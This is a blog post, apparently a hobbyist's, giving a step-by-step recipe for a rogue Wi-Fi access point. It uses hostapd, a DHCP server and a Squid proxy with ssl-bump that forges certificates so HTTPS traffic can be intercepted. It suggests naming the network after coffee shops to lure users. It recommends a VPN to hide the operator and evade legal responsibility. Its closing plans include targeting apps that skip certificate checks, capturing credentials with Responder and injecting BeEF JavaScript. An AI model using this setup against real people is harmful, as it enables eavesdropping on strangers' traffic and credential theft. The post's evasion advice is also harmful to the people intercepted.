I’m always reading about dangerous rogue access points but never actually have seen one in action. So what better than create a test setup..
Hardware for this test setup will be * my old linux notebook (a macbook pro) as fake access point * a small deal extreme network card (Ralink 5070 chipset). I’ve actually bought three differnet wireless cards for under $20 and am trying out the different chipsets. This card is rather small (like an usb stick), so it isn’t to conspicous
The basic idea is to use hostap to create a virtual access point. Would I be a hypothetical attacker I’d call it ‘starbucks’, ‘freewave’ or name it like some coffee shop around the corner. I’m using the notebook’s included wireless card to provide an internet uplink. To achieve this I will have to compile a custom version of squid (including ssl support). I’m using Ubuntu 13.10 for this, other linux distributions would work the same.
Setup hostap
I’m using the Ubuntu-bundled hostapd 1.0. I’ve tried to compile the lastest version (2.0) by myself but wasn’t able to get it working with my wireless network cards – the major feature of the 2.0 version would be to support 802.11n (more network bandwidth).
First of all check the network cards (wlan1 in my case) with “iw list”, it’s output should contain the following lines for creating an virtual access point:
1 2 3 4 5 6 7 8 9 10 |
Supported TX frame types: ... * AP * AP/VLAN ... Supported RX frame types: ... * AP: 0x00 0x20 0x40 0xa0 0xb0 0xc0 0xd0 * AP/VLAN: 0x00 0x20 0x40 0xa0 0xb0 0xc0 0xd0 ... |
I’ve create a very basic hostapd.conf configuration file:
1 2 3 4 5 6 7 |
interface=wlan1 ssid=TestAP channel=11 country_code=DE macaddr_acl=0 auth_algs=1 ieee8021x=0 |
And start the access point:
|
|
Setup a DHCP server
First of all, give your access point an IP address and enable IP forwarding (as root):
|
|
Now we should have an almost ‘normal’ access point, lacking DHCP. To add this I’m using udhcpd (as it is a very small DHCP server):
|
|
with udhcpd.conf being:
1 2 3 4 5 6 7 8 9 10 11 |
start 10.0.0.100 end 10.0.0.200 interface wlan1 #default: eth0 #Examles opt dns 8.8.8.8 option subnet 255.255.255.0 opt router 10.0.0.1 option domain local option lease 864000 |
Now you’ve got a “normal” access point, without interception capabilities.
Setup an anonymous VPN service to protect your identity
You could use (Private Internet Access) to anonymize all outgoing traffic through tunneling all traffic through OpenVPN. Get an account from PIA, download the openvpn example config files and start them (for example) through:
1
|
$ sudo openvpn Switzerland.ovpn |
Now all outgoing traffic is anonymized. This helps if you want to create an open access point but your legislation would make you responsible for all traffic going through your access point.
You can always use this setup to provide people with an internet uplink without being responsible for that.
Compile and setup squid with SSL support
Download the latest verison of squid, this was 3.3.11 for me. Unpack and compile it:
|
|
Now you have a ‘squid’ binary that you can start.
But first modify the default squid config (in /etc/squid3/squid.conf
) to automatically generate SSl certificates for incoming requests:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
# access rules acl SSL_ports port 443 acl Safe_ports port 80 # http acl Safe_ports port 21 # ftp acl Safe_ports port 443 # https acl Safe_ports port 70 # gopher acl Safe_ports port 210 # wais acl Safe_ports port 1025-65535 # unregistered ports acl Safe_ports port 280 # http-mgmt acl Safe_ports port 488 # gss-http acl Safe_ports port 591 # filemaker acl Safe_ports port 777 # multiling http acl CONNECT method CONNECT http_access deny !Safe_ports http_access deny CONNECT !SSL_ports http_access allow localhost manager http_access deny manager http_access allow localnet http_access allow localhost http_access deny all # access config http_port 3128 transparent https_port 3127 intercept ssl-bump generate-host-certificates=on dynamic_cert_mem_cache_size=4MB cert=/home/andy/workspace/rogue-ap/myCA.pem ssl_bump none localhost ssl_bump server-first all sslproxy_cert_error allow all sslcrtd_program /usr/lib/squid3/ssl_crtd -s /var/lib/ssl_db -M 4MB # refresh patterns refresh_pattern ^ftp: 1440 20% 10080 refresh_pattern ^gopher: 1440 0% 1440 refresh_pattern -i (/cgi-bin/|\?) 0 0% 0 refresh_pattern (Release|Packages(.gz)*)$ 0 20% 2880 refresh_pattern . 0 20% 4320 |
You have to create an SSL certificate for the squid proxy:
|
|
And start the squid proxy from the command line:
|
|
So far there will be no traffic forwarded through your squid proxy, we can change this by using iptables:
|
|
Each client that connects to an https will get an error message – and this is good, otherwise this would be a rather unbeatable man-in-the-middle-attack. Already you can use ssldump to read all encrypted traffic between the client and the (roriginally ssl-encryptd) peer site – if the client is too stupid to ignore the browser’s warning message.
Where to go from here?
So far this is just a normal caching rogue access point, what will be the next steps?
- add icap configuration to squid to actually intercept some some traffic
- selective forward of only some https addresses through the squid proxy – for example, I believe that many mobile applications will not check the validity of SSL certificates
- add something like Responder to add additional capture protocols
- use squid proxy to automatically inject Beef javascript
Suggestions welcome!